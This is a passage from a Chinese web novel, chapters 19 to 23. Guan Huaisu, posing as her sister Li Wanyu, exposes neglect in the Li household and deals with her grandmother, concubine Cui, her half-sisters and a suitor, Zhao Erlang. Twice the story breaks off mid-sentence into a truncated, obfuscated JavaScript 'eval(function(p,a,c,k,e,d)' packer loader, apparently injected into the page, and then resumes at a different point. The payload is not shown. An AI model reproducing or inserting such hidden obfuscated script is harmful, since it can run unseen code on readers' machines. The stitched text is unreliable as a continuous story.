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其实老夫人听儿子这么一说,心里就知道此事改不了了,只是她到底心疼,一时缓不过来而已,听儿子这么说,她心中难受愤怒,就恨声说:“你说的轻巧!当初四个庄子就只给了我两个,一个你做主给了妙人,一个给了东院的,我老婆子一年到头也就只得这两处进项,如今登时少了一半,我怎么能不心疼?” 李珺这会儿终于听出来了老娘的意思,立刻说:“娘何必顾虑这个?这事儿我早想好了,家里如今这些年下来也有积攒,到时候我让夫人拿一个庄子出来,再给您补上就是。怎么也不能少了娘的花用呀!” 说到最后两句,李珺已经带上了笑意。 老夫人听到这里,也是终于放心,喜悦地笑着说:“好,好!即使如此,那我也不与大丫头计较了。” “放开我!老虔婆你放开我!”两人说的正开心,连老夫人房里的老妈妈与几个丫鬟也松了口气跟着赔笑,正一片和乐融融的时候,突然就听到门外传来荷花的叫声。 两人神色都是一变,一起皱眉。 第十九章 规矩 荷花敢大叫,自然也是习惯了老夫人撑腰。 但是荷花万万没想到的是,李珺今儿还在。 而且和平常不一样,如今大女儿的事情在风口浪尖,李珺可不敢出一丝差错。 见到关怀素身边的妈妈押了丫鬟过来,李珺立刻皱眉问发生了什么事情。 丁妈妈立刻三言两语把事情说了,又特地重复了关怀素的话,说:“姑娘问她,家里可都是这个规矩,二等丫头穿着绸缎吃茶,见到主子也不用行礼。荷花说,自来都是这个规矩,老夫人也是允的。” 李珺回头看自家老娘,他不太相信老娘会说出这样的话。 “混账!我甚时候这样说过?”老夫人听到这里,对着柳叶大骂,“你家大姑娘怎么能如此胡乱说话?她自个儿院子里的人调教不好,却反倒说起来我的不是了?” 看了眼荷花又说:“再说了,荷花也说了,她身上的衣服是你家姑娘亲自赏的,既是赏赐,她穿着也是想让主子看着开心,怎么你家姑娘就如此小眉小眼,连下人比自己打扮的好看也要置气?” 这话说的,三言两语性质就完全变了。 从下人不守规矩,直接变成了主子没有器量,连个漂亮点的丫鬟都妒忌。 李珺往日从母亲与夫人口中听到的这个大女儿,素来都是如此,小眉小眼、气量狭小,一点也没有她亲娘的半点风采,于是李珺自然而然越来越不喜大女儿。 但是如今这样一看,李珺顿时心中产生了疑窦。 因面前跪着的丫鬟,那藕荷色百迭裙光泽鲜亮,一看就是江南一带最好的绸缎铺子才能出的好料子,一匹布至少得好几两银钱,做这一条百迭裙具体要多少钱,李珺不太清楚,但总归至少得要个二三两银钱的。 若是手头有富余,赏了身边丫鬟也是常见,可放在大女儿身上,却十分不合理。 李珺方才看得清清楚楚,婉玉自己都穿着洗的发白的布裙,若是有这样鲜亮好颜色的衣裙,怎么会不自己穿,反而是先赏给了丫头? 而且就算是要赏赐,这半年婉玉都不在家里,为何不是赏赐身边贴心丫鬟,反而是赏给了没跟着去庄子上的二等丫鬟? 李珺只看了一眼就发现了荷花话里许多对不上的地方,可是他老娘却仿佛一点也没发现一样,三言两句说完,竟就要让她们带着荷花离开。 李珺正犹豫要不要说话,外头丫头进来了,说是大姑娘又来了。 “她才回来就闹得家宅不宁!”老夫人素日养尊处优,这一个下午已经有些疲惫,听到关怀素又回来了,顿时也生气起来,不耐烦地说,“让她进来!我倒要看看,她一个正经主子,怎么还会尖酸刻薄跟个下人计较!” 外头只用屏风挡了一下,关怀素就在门口那稍间里站着,哪里听不清楚? “祖母冤枉我了,早年我年纪小,总被下人气哭,如今年纪大了,按祖母教导,若是一般事儿,通常我也就忍了。”关怀素说着话走进门去,脸上平静,果然是一点泪意也无,只口里温声说,“只是如今我从小忍到大,到今日,却是忍无可忍了,只求父亲为我做主!” 说完,关怀素直直跪下,整个人朝着李珺行了个大礼,沉声说:“婉玉只求父亲救命。” “你这话什么意思?”老夫人被关怀素意有所指的话气得不行,拍案而起,怒骂:“我让你有点大家气度,不要天天盯着几个丫鬟下人置气,把自己好好的身份都显得低贱了,你却还怪我不成?!” 老夫人一口一个低贱,与下人计较,实在是十分刺耳,别说是关怀素,连柳叶与丁妈妈都听得心中气愤。 若是往日的李婉玉,此刻只怕真的就要被骂哭了。 但是关怀素却不一样,她对老虔婆压根没有任何亲情,自然也不会失望委屈。 她只是冷静地审时度势,然后突然扬起声音说:“请问祖母,李家规矩,是否先让下人享受,才可主人享受,先让下人穿绫罗绸缎,自己则穿棉布,先让下人拿走金银钗环,自己才可戴绢花?是否要倾尽所有、掏空妝枢供养下人,不可有一丝怨恨,才算得上是一个合格的主子?” 关怀素说话中气十足,压过了屋子里老夫人的怒斥与荷花的哭声,瞬间传到了全屋所有人的耳朵里。 李珺听得心里一跳,不可置信地看着大女儿,吃惊地问:“婉玉,你说什么?” “是啊!你在说什么胡话?”老夫人也不可置信地看向关怀素,她看着唯唯诺诺的大丫头,这才发现这个大丫头挺直了腰背,毫不避忌地看着她,虽然是朝她父亲跪着,但是神色之中没有一丝卑微,反而显露出一股不怒自威的威严气势来。 这样子愈发像是以前的儿媳,看的老夫人心中勃然大怒,指着关怀素喘了几口气,才说:“你在我这儿大呼小叫什么?你这个不孝的!” 不孝在本朝已经是大罪,若是深闺女子,只怕此刻早已经吓得磕头请罪。 “祖母既然如此说,那想必这就是李家家规,婉玉知道了。”关怀素就势回答,只说,“我日后定然遵守规矩,继续以全副身家性命伺候着屋里的丫鬟便是,婉玉这就告退了。” 她说着,凄楚一笑,站起来就打算离开。 这话她能说,李珺可不敢听,除非他是真的打算要因为治家不严被申斥甚至夺去官职,否则他怎么敢让家里出现这么荒唐的事情。 更何况,他看着这样的婉玉,举手投足也让李珺猛地想到了昔日故人,他心中百味杂陈,却不及细想,只对关怀素说:“婉玉,你说清楚,到底怎么了?” “回父亲。我今日回院子,发现我妝枢全被丫鬟们瓜分干净,这半年我在庄子上,连月钱的一个铜子也没见到,以为是院子里的丫头帮我放起来了,可是屋里全都没有不说,便是连钗环布匹俱都没有。如今我那院子里,比被洗劫过还干净。”关怀素苦笑一声,轻声说,“自小到大,我本也习惯了……可是往日她们至少还给我留几套体面衣衫,这次却连件过冬的衣裳都没留下,被褥也是发霉的旧被褥……” “不可能!”李珺觉得此事实在是太荒唐了,他简直不敢相信自己的耳朵。 “老爷若是不信,可以去咱们姑娘院子里看一眼,老婆子是乡下庄子上来的,斗胆说一句……便是咱们乡下庄户人家,也没得那么凄凉。”丁妈妈早看着那作威作福拉偏架的老虔婆不爽快很久,这会子立刻抓住机会上前告状。 “立刻带我去看看!”李珺实在是不敢相信,因往年节年见到这个大女儿,虽看着沉默,但是身上的衣裳打扮都说得过去,不然他早发现不对劲了,哪里需要等到今日? “一起去看看,我倒要看看哪里就如你说的那样了!”老夫人自己都不肯信,她虽然不喜欢这个大孙女,但是也不是傻子,不会真的明面上给人留话柄,素日虽给些气受,但是绝对也不会弄到如此难看,反而还会弄些上不得台面的样子货,摆出一副疼爱的样子。 否则也没办法拿捏大孙女这么多年,让她唯唯诺诺,却又不至 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何止是未曾夸张,在李珺看起来,婉玉还是说得太过轻描淡写了一些。 他回头,看着自己的母亲,满目震惊。 老夫人也十分惊讶,她确实对大孙女不太好,但是绝不会想弄到如此程度! 到如此地步,说出去只怕满京城都要戳他们脊梁骨骂他们狠毒了! “你……你说你自小,就是过这样的日子?”李珺环视这个屋子,眼神落在外间那破了的窗户纸上。 那窗户纸是黄油纸,角落里有一些杂色,乃是用的湖州产的竹纸涂了桐油所制,作价便宜,不过二十文一刀,一刀纸尽够一个院子一年到头两季换新修补了。 李珺还记得这种纸,四五年前,家里一直用的这种纸糊窗。 后来李珺从吏部考功清吏司的书吏升了从五品吏部员外郎,从六品到从五品,听着差距不大,实则是从一个普通小吏到吏部一司掌事的巨大迁越,多少京官就是折在这关键一步,一生庸碌。 可以说从这里开始,李珺的人生才从普通小吏有了更进一步的可能。 当时李珺亦不过三十出头的年纪,可以算得上是年轻有为。 那时候李珺志得意满,在崔小娘的房里喝酒,恰逢崔小娘说屋里那窗户纸又破了,惹得她昨夜咳嗽,他哈哈一笑,说从此不用这油纸糊窗户了,夏天便统一用天青色的青云纱糊窗户,冬日便用雪地黄,雅致又好看。 这从来都是家里统一换上的,各个主子屋里都是如此。 但是婉玉的房里,却还是好几年前的油纸窗户,破了也没人换。 李珺看着这满屋的破落样子,声音都有些颤抖地问关怀素。 他不敢相信,在他的眼皮子底下,大女儿的日子竟然过成了这样。 “这、这些丫鬟也实在是太惫懒了一些……”连老夫人这会儿都脸上有些下不来台,忍不住嘟嘟囔囔地开口说了一句。 她没继续说下去,因为她看到儿子的脸色实在是太难看了。 关怀素没说话,只沉默地点点头。 “去,把大娘子叫过来。”李珺沉默了一下,咬牙对着外头说话,又补上一句,“把管家也叫来!” “哎!”丁妈妈生怕被阻挠,答应一声,立刻朝外头飞奔出去找人不提。 没一会儿,得到消息的管家与一直没出现的孙大娘子就都到了。 第二十一章 崔小娘 关怀素循声望去,就看到一个体态风流的美妇扶着妈妈走进来。 这美妇人柳眉细长直飞入鬓,盘着朝云近香髻,头戴一枝重瓣牡丹绢花,走动之间与腮边两缕碎发一起晃动,愈发衬的袅袅风流,媚而不妖。 她身后有个和关怀素差不多年纪的红比甲姑娘,与她一般样貌风流妩媚,仿佛一朵怒放的芙蓉花。 与只堪堪算端庄的孙大娘子母女比起来,这母女简直是令人眼前一亮。 “哎呀呀,管家也在,我才听说大姑娘的事儿,立刻着急忙慌地赶过来了。天可怜见的,那帮刁奴竟是吃了熊心豹子胆了!”这妇人走过来就十分亲**一把抓住关怀素的手,像是真的十分怜惜一般,抚摸关怀素的头发,顷刻间春水般的眼睛里立刻含上了泪花。 竟是说哭就哭了出来。 “崔小娘安康,二姑娘安康。”廊下的丫鬟与管家都纷纷问安,关怀素便确定了这个女人以及她身后姑娘的身份。 是关怀素回来之前就知道的另一个大名鼎鼎的人物,李珺宠爱了十多年的宠妾,崔妙人崔小娘。 这个崔小娘,当初是老夫人身边的丫鬟,自小与李珺一起长大,乃是青梅竹马。 她身后的二姑娘李婉蓉,与关怀素相比,年岁只差了一个月。 可想而知,当初母亲有孕前后,李珺只怕就与这个崔小娘已经有了首尾私情。 此事极其不体面,若是换了其他人家,只怕把这个丫鬟发卖出去都有可能,但是李珺却对这个妾室极其爱护,多年不曾更改。 “多谢崔小娘,我无事的。”关怀素脑子里飞速转动,面上端庄地行礼道谢。 “可怜的孩子,听说你屋里竟像是遭了劫一般,我好歹也是长辈,不能看着,这不,我也给你带了些东西。”崔妙人拿着帕子擦泪,身后的几个粗使婆子就打开了箱子。 “我想着,花瓶摆件之类的,老爷心疼你,自然会给你补上,但是香粉胭脂、头油雪花膏之类女儿家用得上的东西,他们男人估计想不到。这不,我就特地给你寻摸了这些来。”崔小娘说话声音轻柔妩媚,做事周到,考虑细致入微。 说实话,哪怕是对她心存恶感之人,听她说话之间,都会情不自禁地和缓下来。 崔妙人不负其名,确实是个妙人。 关怀素一笑,说:“多谢崔小娘,如今我这屋子,东西反倒是比以前还多些了,倒不知是遭难,还是得福了。” 这话说的,并不显得凄凉可怜,反而还有几分俏皮,显得气度大方,让崔小娘的眼泪一时倒流不下来,反而破涕而笑,说:“你啊,想得开便好……” 两人正说话,旁边婉蓉却忍不住开口了:“她有啥想不开的,父亲答应补送给我的及笄礼物都给她了!” 崔小娘身后的二姑娘一开口就带着**味,瞬间气氛就尴尬起来。 “婉玉你别介意,你二妹妹去岁就喜欢宝福头面的簪子,年前定了之后就一直在盼着,今儿知道拿回来给了你,在这儿使小性儿呢。”崔小娘转头瞪了婉蓉一眼,才尴尬地对关怀素解释,“听说婉玉你的首饰都没了,我也拿了一些我年轻时用过的,你二妹妹也拿了自己的……她素来是刀子嘴豆腐心,你别跟她计较。” 说着不等关怀素说话,立刻让丫鬟上前,打开了两个头面盒子给关怀素看。 里面的头面有两排九孔绿松石对钗一对、宝石攒花压鬓一对、碧玉箍子一对,又有绢花、缠花的头面两套。 都不值钱,但是看着倒是花团锦簇。 关怀素笑着点头,承了这个人情,而后拿起金簪,连盒子递向崔小娘身后的婉蓉,一边说:“我就想着,这金簪精巧,做起来定然也复杂,定非一日之间能仓促买到的东西,原来是早早为二妹妹定下的,君子不夺人所好,既然是二妹妹一早定的,那还是还给二妹妹吧。” “这、这怎么好!”崔小娘想拦,身后的婉蓉却是一手接过来,打开看了一下,爱不释手,连忙说:“那就多谢姐姐了!” 崔小娘急得不行,关怀素却温声说:“小娘不必担心,这金簪既是二妹妹早早喜欢的,送与我实在是不合适,还是给二妹妹吧。再说了,我也已经得了这么多东西了,小娘不需要与我计较这些。” 崔小娘脸上到底是不好看,侧着脸瞪女儿,可婉蓉却倔强地完全不理她。她只能强笑着说了几句场面话后告辞。 崔小娘母女离开,李福管家也带着人走了,热闹了一天的素心居终于才算是彻底安静下来。 一天的忙乱终于到了尾声,洗漱之后,关怀素让丁妈妈带着小荷去睡觉,只留了柳叶和她一起在这陌生的房间里休息。 “柳叶。”关怀素看着崭新的床褥,突然问,“你说,今儿出现的这些人,对姐姐如何?” “孙大娘子面上好看,内里不知。”柳叶煞有其事地分析,“崔小娘瞧着很是狐媚,又得宠还会办事。倒是二姑娘瞧着有些蠢,不如三姑娘那般伶俐。” 关怀素点头,轻叹一声,说:“这家里都不是省油的灯。” 姐姐那般温柔怯弱的性子,在这个家里,不知吃了多少苦。 想到这里,关怀素就是一阵心痛。 “姑娘,日子还长着呢,今儿才第一天,别着急。”柳叶知道她心里的难受,立刻翻身看着她说,“咱们慢慢看,找到真凶,一定让他们付出代价!” 关怀素闻言,心中登时熨帖许多。 于是二人吹灯拔蜡休息,这连日奔波,总算结束。 其他两个院落里却并不平静。 “我让你过去心疼心疼你大姐姐,你做的啥,跑过去拿了你爹给你大姐姐贴补的金簪子!”崔小娘气得揉心口,指着自己的女儿拍桌怒骂,“我怎么生了你这个眼皮子浅的货色!统共不过几十两银钱的东西,值当你这样?!” “几十两的首饰,我整个妝枢里也就四件!再说,这本就是爹爹给我贺及笄用的,怎地就要给她了!”婉蓉不服气,“总不能就因为她自己愚蠢,被下人欺负,就抢我的东西做补贴吧?!” “你这个蠢猪!”崔小娘气得捏着帕子戳女儿的脑袋,恨声说,“你还不知道你爹,他几时对咱们小气过?这簪子给了她,自然后头有好东西给你,还能博个好名声,你倒好,现在要这个,到时候你大姐姐拿到更好的首饰你可别气!” 婉蓉不信,但是她知道自家阿娘说起父亲,从没有错的,因此脸上顿时带了点懊恼之色,只是还是不肯认错,勉强地说:“我不信!” “你且等着吧。”崔小娘知道这年纪的丫头倔脾气上来了,一时半会儿说不住,因此只让婉蓉回去休息。 婉蓉心中担忧,但是回到自己屋里之后,看着漂亮的金簪步摇,心中又十分欢喜。 她身边的丫鬟宝珠就凑趣地说:“这簪子真漂亮,合该就是该衬咱们姑娘的!” “就是,这本来就是我的。”婉蓉骄傲一笑,说,“小娘也真是危言耸听,爹爹以后就算给大姐姐补偿,不可能比这簪子贵太多,再说宝福头面的大师傅一时半会儿也排不上号了,还不如先拿到戴呢!” 说完她得意至极,对着镜子里戴了缠丝金簪后更加美艳的自己微笑。 她在这儿揽镜自照,殊不知那头东院里正在说她。 孙大娘子一边清点面前的钗环,一边让回话的丫鬟退下,对身边的婉淑说:“你可听到了,日后可千万别学你那二姐姐的脾气,上不得台面的穷酸汁子。” 婉淑沉静一笑,轻声说:“娘亲,我省的。不过是一个金簪子,咱家虽不是什么高门大户,到底也是诗书礼仪之家,为了这点子钱财在家里大呼小叫的,成什么样子?” “你能这样想最好。”孙大娘子闻言,非常满意地一笑,她指着面前那套赤金红宝石头面说,“今儿你选了好几套首饰给你大姐姐,做的很好,咱们家里人,不管内里怎么样,外头看着都要和和气气才是。这套头面原是你爹当年给我的,现在给你戴。” “娘!多谢阿娘!我就知道你最疼我了!”婉淑一听,顿时喜上眉梢,缠着自己阿娘的手臂撒起娇来。 孙大娘子这套头面是赤金的不说,一套六件,从发冠到金钗到后压到挖耳簪都齐备,这一套下来至少值差不多小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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关怀素就知道,老夫人的人手全折了,肯定想继续安插人手进她的院子。 果然就听到老夫人继续说:“婉玉,你如今身边婆子丫鬟都是乡下来的,到底没见过什么世面,在院子里做个粗使活计就好,贴身伺候的还是安排些称头的才是。” 关怀素并不着急说话,只揣摩着姐姐的习惯,低着头捏着帕子,一副犹豫的神色。 她在等,等着有人跳出来。 “母亲,这事儿还是不着急吧。”果然,几乎是只几个呼吸之间,就听到孙大娘子温声开口,说,“那几个人既然是跟着婉玉在庄子上回来的,定然也是婉玉心里极其中意的了。既然如此,还是按婉玉的意思留着便是。” 说完她笑着说:“老夫人若是担心他们不懂事,到时候我安排两个老妈妈过去教导一二便是。” 这话说的,给关怀素卖了个好之外,又立刻把自己**了这件事情里面。 关怀素至此心中十分确定,这回事情,绝对有孙大娘子的手笔。 但是关怀素没说话,只听着老夫人与孙大娘子两人来回咬着自己房里要不要换人的事情来回打机锋。 老夫人不占理,眼见几个回合,孙大娘子就完全占了上风,志得意满地笑着说:“母亲只管放心,老爷既然把这件事情交给我,我定然不会辜负老爷的嘱托。” 到了这时,关怀素才开口,依旧还是温温柔柔的样子,轻声说:“倒是不需要母亲担心了,我身边的婆子丫鬟,当初都是与我一起抵过庄子上民乱的,也是我外祖父关怀远亲手教导的未记名弟子后人,都是懂礼忠心的人,并非粗野之士,不必劳烦母亲与祖母忧心。” 关怀素当然不会让人给她院子里插人,尤其是教导的名义,到时候抓住机会给柳叶和丁妈妈打上几顿,或是逼着她们背主……教导妈妈能干的事情可太多了,关怀素不可能允许自己的地盘有这等隐患。 只是她这话一说,大娘子与老夫人脸上的笑顿时挂不住了。 二人争论来去,压根没把李婉玉放在眼里,却没想到给关怀素一句话堵得什么都说不出来。 偏关怀素这句话堵的极狠,她们还无法反驳——让她们怎么说?难道敢说她们一个肇州寡妇、一个县丞之女,能比大儒关怀远会调教人? 她敢说这个话,明日她就能成为全京师的笑柄,搞不好能成为天下皆知的轻狂无礼之人! 孙萍和老夫人的脸登时都绿了。 第二十二章 家宴 孙萍一口闷气从正屋憋到了屋里,才狠狠一拍桌子,怒声大喝:“她哪里来的胆子,**拿外祖父来压我!气死我了!” 孙大娘子身边的丫鬟妈妈都不敢出声,生怕触了孙大娘子的霉头。 陪房的周妈妈生怕她气出个好歹,连忙上前给她倒茶顺气,连声说:“哎哟哟我的大娘子啊,你可千万小点声,来来来,喝口茶,快顺顺气!” 说着拉着孙大娘子坐下来,看她呼哧呼哧地喘着气,才说:“要我说,这大姑娘看着确实像是换了个人似的,她往日可不这样。” 周妈妈压低声音,轻声对孙大娘子说:“大娘子,你们许是都没注意到,我看姑娘怎么平白高了许多,老爷昨日送的衣裳什么的,看着都短了一截呢。” 孙大娘子一听,更气了,怒声说:“可不是,不但长高了一大截,还白了许多,可见日子过得不错……那八仙庄不愧是关老爷子的地方,那里面定然是有人教她了!” 周妈妈也是如此想,她们完全没想过关怀素与李婉玉是双生子或是李代桃僵的事情,而是给关怀素所有行为都找了个更合理的理由。 不只是她们如此想,其实如今院子里的老夫人甚至外院里的李珺,也正在这么想。 “你看大姑娘,可是变了一个人一般?”李珺停笔,对着身边的管家李福感叹。 李福立刻点头,感慨地说:“……确实,看着变了一个人一样,倒是活脱脱与夫人一个模子出来一样。” 李珺叹气,低头看自己桌面上的画。 那画面里,一个挽着圆心髻、右边插着两支玉簪的女子正在桃树下嫣然一笑,那女子柳眉凤眼鹅蛋脸,瞧着仙气飘飘的美貌之中,又带着一股利落干脆的英气,活脱脱与关怀素有七分相似。 李珺看着画里的女子,长叹一声,轻声说:“……是我对不住她。” 这个她,说的是女儿,还是已逝去之人,就不得而知了。 李福也没说话,良久,他就听到自家老爷叹息般地说:“你去跟大娘子说一下,就说晚上在外头安排一桌家宴,就当陪着玉儿再过一个中秋。” 关怀素得了消息,晚上便穿着白日的常服去前厅吃饭。 结果到了地方就是一愣——婉蓉与婉淑打扮得也太鲜亮了! 不过是普通家宴,二人却都换了见客的衣衫,又各自重新梳头描眉,勾唇涂脂,瞧着十分郑重。 看来今晚的家宴还有外客,关怀素瞬间猜测。 实在是婉蓉和婉淑表现的实在明显了些,二人一会儿让丫鬟拿了小铜镜,兀自对铜镜检查自己的样子,一会儿又想到了什么,脸红低头偷偷一笑……这和关怀素昔日好友说起定亲的对象时表情一模一样。 见到关怀素素淡打扮,二人眼中都露出了隐约的轻蔑之色。 正在这个时候,门口传来声音,却是崔小娘扶着老夫人进门了。 老夫人一进门,看到婉蓉和婉淑打扮停当,非常满意,再看到关怀素的样子,忍不住皱眉说:“下午没人和你说今儿有贵客吗?你平日做出个酸寡零星的寒酸样子就算了,这两天一屋子人都流水般给你送东西,怎地现在还是这副寒酸打扮?” 关怀素知道老夫人是故意找茬,先不说下午的婆子根本没说家里有外客,显然是有人故意不告知她。 再说关怀素这身打扮,虽然是简单了些,但是也绝对称不上是寒酸。 但是关怀素知道这老虔婆只是借题发挥,便笑了一下,落落大方地交叠左右手,先笑着说了句:“祖母安康。” 然后她兀自站直,看着祖母带着调笑地说:“祖母说的是,祖母不妨把头上的赤金碧玉冠赏了我,婉玉保证立刻戴上,就必然不会寒酸了。” 关怀素若是直接甩脸子或是诉委屈,要么就会被斥责不孝,要么就会被斥责上不得台面……老夫人本来是打着这样的主意,往日也最爱用这些办法拿捏小辈。 可偏关怀素一反常态,直接落落大方笑着回话,显得像是受宠爱的孙女在跟祖母撒娇要好东西一样。 这让老夫人瞬间就愣住,登时措手不及。 若是其他祖母见到孙女如此撒娇,搞不好真就随手摘下来乐呵呵地给了。 但是老夫人见关怀素这副油盐不进的样子,心中反而大为恶心,只一甩袖子,板脸不看关怀素。 “来,都坐下来。昨儿老爷说了,婉玉前些日子中秋不在家,如今回来了,家里人一起吃个饭,也算是阖家团聚了。”孙大娘子笑呵呵地开口,温柔地招呼大家举杯庆祝,像是完全没注意到方才的口角风波一样。 关怀素也不管,只拿酒微微沾了一下嘴巴,就笑嘻嘻地坐下来,捡着桌上的素面点丸子用起来。 李家日子显然不错,厨下调鼎手显然是个老道的,虽是素菜,那萝卜丝炸丸子都做得格外清甜,关怀素吃的喜欢,连着吃了好几个。 其他的荤油菜色,关怀素是一点没吃,反而吃了几个厨下为了中秋做的菊花酥珞,再加上一些素油蒸茄子、拌芽菜,关怀素挑挑拣拣的,倒也吃得畅快,没一会儿就已经吃到了八分饱。 她吃得开心,但是席面上诸人却和她并不一样,大娘子与崔小娘也就随意夹一筷子,老夫人年纪大了,加上久坐不动,看着也不像是有什么胃口的样子。 而婉蓉与婉淑心思显见着也不在吃喝上,不时放下筷子往照壁那儿看。 也没辜负她们如此牵肠挂肚。 不一会儿,便见进来几个年轻郎君,当先一个风度翩翩,与父亲李珺眉眼气度都有五分相似,看年纪便是李家的大郎李辰文。 而边上一个稍微矮些、还有些孩子稚气的微胖少年郎,瞧着应是李家二郎李辰瑜。 二人带着一个油头粉面、年纪大了几岁的郎君,一起入内。 李辰文与李辰瑜请安之后,这陌生郎君便笑着与众人打招呼,关怀素就见到婉淑与婉蓉齐齐露出喜悦神色,娇声轻唤:“二哥哥!” 来者叫赵二郎,面白无须,眉清目秀,瞧着还没到及冠年纪,举止也算风度翩翩。 要走南闯北见多识广的关怀素来说,算得上皮囊尚可,只是瞧着神色有些轻浮。 但是婉蓉与婉淑眼中,此人只怕是天上地下都排得上号的,因此二人倾慕与热切之意,其实旁人都看得出来。 起码落在关怀素眼中,那与高声表明心迹差不多。 关怀素并不打算碍眼,因此看到婉蓉先一步走出去亲**喊了一句“二哥哥来了!”的时候,她只垂着眼睛,跟在婉淑身后行了个平辈礼仪。 “二哥哥好。”婉淑倒是端庄,并不如婉蓉那般过于热切,但是也亲亲热热的。 两人都是豆蔻少女,又一脸爱慕,赵二郎显然十分受用,笑着与二人亲热见礼不说,又从怀里摸出两个盒子给她们送上,换的二人喜不自禁。 “婉玉妹妹,这是给你的,我当时在宝福头面铺子一看到这玉蜻蜓,就觉得素雅温柔,极其衬你。”关怀素悄悄观察呢,突然手上就是一沉,耳边就听到赵二郎带着笑意的声音。 关怀素瞬间收敛神色,做出一幅惊喜之色,落落大方地行礼接过,打开盒子看了一眼,立刻笑着说:“谢谢二哥,这蜻蜓好漂亮!” 关怀素说的是客套话,这蜻蜓看着是精巧,但是看做工用料,不过是打发人的东西罢了。 且她方才听着赵二郎与婉蓉说“这木芙蓉缠花十分娇艳,我一见就觉得适合你。”,接着又听他对着婉淑说“这玉竹簪端庄静雅,我一看就觉得只婉淑妹妹通身气度配得上。”,因此再听到玉蜻蜓,心中只觉得腻味的慌。 关怀素还以为这是一场简单的外客会面,这赵二郎是世交之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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关怀素想到祖父昔日谆谆教导,神色柔和下来,点头说:“是的,这等花言巧语之徒,可切切不能上他的当。” “那是,要么是唯一的礼物,要么是最上心、最好的礼物,否则我才不会放在心上!”柳叶立刻点头,原本对婉蓉和婉淑还是有些嘲笑的心思,觉得二人是有些痴心妄想,毕竟如果赵二郎出身高贵又风度翩翩,二人出身品貌确实不相称。 只是听了关怀素的话,柳叶恍然察觉出赵二郎这人心思也不太纯正,顿时十分厌弃。 关怀素与柳叶私下说话从不避讳,此刻四下无人,说到这里便促狭地小声说:“不过显见着,这赵二郎这么会哄人,谁当了她的大娘子,日后别的不说,至少后宅定然热闹!” 柳叶听着,顿时与关怀素笑作一团。 两人正促狭笑呢,走到拐弯处,却突然从斜弯后的柱子后钻出一个人来,照面一看,可不正是赵二郎?! 彼此一照面,关怀素与柳叶都是一惊! 关怀素第一时间吓了一跳,第一反应是以为赵二郎凑巧躲在这里,听到了她的刻薄话,此刻是来找麻烦! 可是她下一刻立刻想到,她说话压的声音极低,且一路走过来与柳叶嬉笑,赵二郎在这个拐角处绝对听不到! 电光火石之间,关怀素立刻放松下来,不至于失态。 她立刻叠掌交握,与那赵二郎行了个平辈礼,口里问:“二哥哥好,你可是走错路了?” 关怀素这么问,是因为这里已经是要去后院角门,这绝对不是赵二郎应该出现的地方。 “我是来找你的。”赵二郎却一脸热切地开口,对关怀素说,“早先你在庄子上,我恨不得驾车去看你,可是我一直跟在太子身边,作为太子伴读,不可轻易擅离职守,实在是找不到空……婉玉妹妹,你可怪我?” 关怀素刚松下来的一口气,顿时吓得又提了起来! 第二十三章 赵二郎 姐姐与赵二郎难道有什么情愫? 关怀素差点没因为这个可能性吓得头脑一片空白,得亏她见惯风浪,勉强稳住了情绪。 好在关怀素还没想到如何处置,赵二郎就急的一叠声说:“婉玉妹妹,上次在赏花宴上,你被福宁郡主斥责,而我没有站出来为你说话,你可是心中怪我?” “没、没有。”关怀素闻言,见不是私情,登时镇定下来,沉声说,“此事与二哥哥无关,且我在庄子上也过得很好,婉玉不会为此事怪罪任何人。” 这当然是场面话,姐姐被赶去庄子上的起因,关怀素打听的清楚。 便是赵二郎口中这个福宁郡主,当时举办了一个小宴。 这位福宁郡主并不是皇家血脉,但是福宁郡主之父与先皇一起打下江山,是最受先皇信任的军师,如今画像还挂在太庙里,位列内阁二十四功臣之首。 军师当初据说智计过人,但是天妒英才,天生羸弱,因此在先皇开国后没享几年福就去了,不但如此,军师临终之前只留下一个遗腹子,就是福宁郡主。 先帝感念军师一生只得这一点骨血,因此当初福宁郡主一生下来,先皇就给了她郡主封号,又念在自己与皇后年迈,亲自吩咐由当时的太子妃、也就是如今的皇后养在膝下,以示恩荣。 是以哪怕后来先皇去世,今上登位,福宁郡主依旧风头不落,名义是郡主,实际与公主无异。 可想而知,这福宁郡主绝对不是个好相与的性子。 根据碧桃与兰花交代,当日姐姐参加福宁郡主的赏春宴时,席间被一个小丫鬟洒了酒,于是郡主让人带她去隔壁换一身衣衫,姐姐便先离席。 原也是普通的一件事,但是不知为何,丫鬟却把姐姐带出了宴客的院子,刚巧遇到来访的太子。 按姐姐后来所说,她本来第一时间就避到了花园后的拐角照壁里,结果身后的丫鬟没站稳,把她一撞,她就跌了出去,刚巧摔在了太子跟前。 这可是大失礼。 当时姐姐跪下请罪,却马上被太子身边人质问是哪家人,又是为何在这里。 姐姐回答完,太子一行人就走了。 姐姐当时只当这场风波过去了,可晚宴尾声,福宁郡主不知为何当众说了此事,又笑着说:“李姐姐,太子身边伴读说话直接,你不要放在心上。” 若是关怀素立刻就知道,当场应该立刻回答这是个巧合,赶紧把此事过去,绝对不可失了先机。 但是姐姐性子被养的太单纯,傻傻地问了一句:“什么?” 姐姐当时只是下意识地反问,但是郡主大约就等着她这句,就笑着说:“宋三郎说,每逢与太子结伴,总能遇到女子跌跤,实在烦人。” 说完,周围窃笑声一片。 这便是指着鼻子骂李婉玉不是好东西,想攀龙附凤了。 若是关怀素,哪怕是当场与郡主面上不好看,也得把此事撇干净。 但是姐姐没有人教养如何处理这种事情,她当时哑口无言,臊了个大红脸,竟是哭着回家的。 关怀素当日听到此事,知道姐姐定然是被人故意设计出丑,她只要想到此事,心中便极其愤怒,此刻听到这个赵二郎居然还拿此事试探姐姐,顿时心中更是怒火冲天。 他们也算是通家之好,赵二郎当时没站出来为姐姐说话,已经是极其冷漠,如今又特地拿出来为自己分辩,试探姐姐是否对他还有情义,此为小人。 